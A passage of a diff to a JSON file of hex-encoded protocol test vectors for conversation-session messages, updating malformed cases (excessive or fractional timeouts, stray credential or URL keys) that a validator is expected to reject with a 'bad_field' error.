636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000710600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { - "name": "conversations-timeout-over-ten-minutes", + "name": "conversations-timeout-over-a-day", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030312c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000780600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a38363430303030312c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-timeout-fraction", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a313030302e352c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a313030302e352c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-credential-key", "direction": "down", - "hex": "574d58310101000001000000350600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a7b22617069546f6b656e223a747275657d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000720600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a7b22617069546f6b656e223a747275657d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-url-key", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b7b22656e64706f696e7455726c223a2278227d5d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b7b22656e64706f696e7455726c223a2278227d5d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-scope-other-session", "direction": "down", - "hex": 